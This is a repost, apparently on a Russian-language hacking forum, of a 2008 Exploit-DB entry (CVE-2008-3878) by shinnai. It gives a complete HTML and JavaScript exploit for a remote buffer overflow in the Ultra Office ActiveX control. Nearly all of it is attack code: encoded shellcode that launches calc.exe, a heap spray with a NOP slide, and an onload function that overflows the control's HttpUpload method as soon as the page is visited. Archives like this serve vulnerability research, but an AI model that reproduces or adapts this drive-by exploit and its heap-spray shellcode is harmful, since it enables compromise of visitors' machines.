Exploit Ultra Shareware Office Control - ActiveX Control Remote Buffer Overflow

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
6318
Проверка EDB
  1. Пройдено
Автор
SHINNAI
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2008-3878
Дата публикации
2008-08-27
HTML:
-----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Buffer Overflow
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 20000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.HttpUpload(x, x, x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
 </script>
 <body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
   Unable to create object
 </object>

# milw0rm.com [2008-08-27]
 
Источник
www.exploit-db.com

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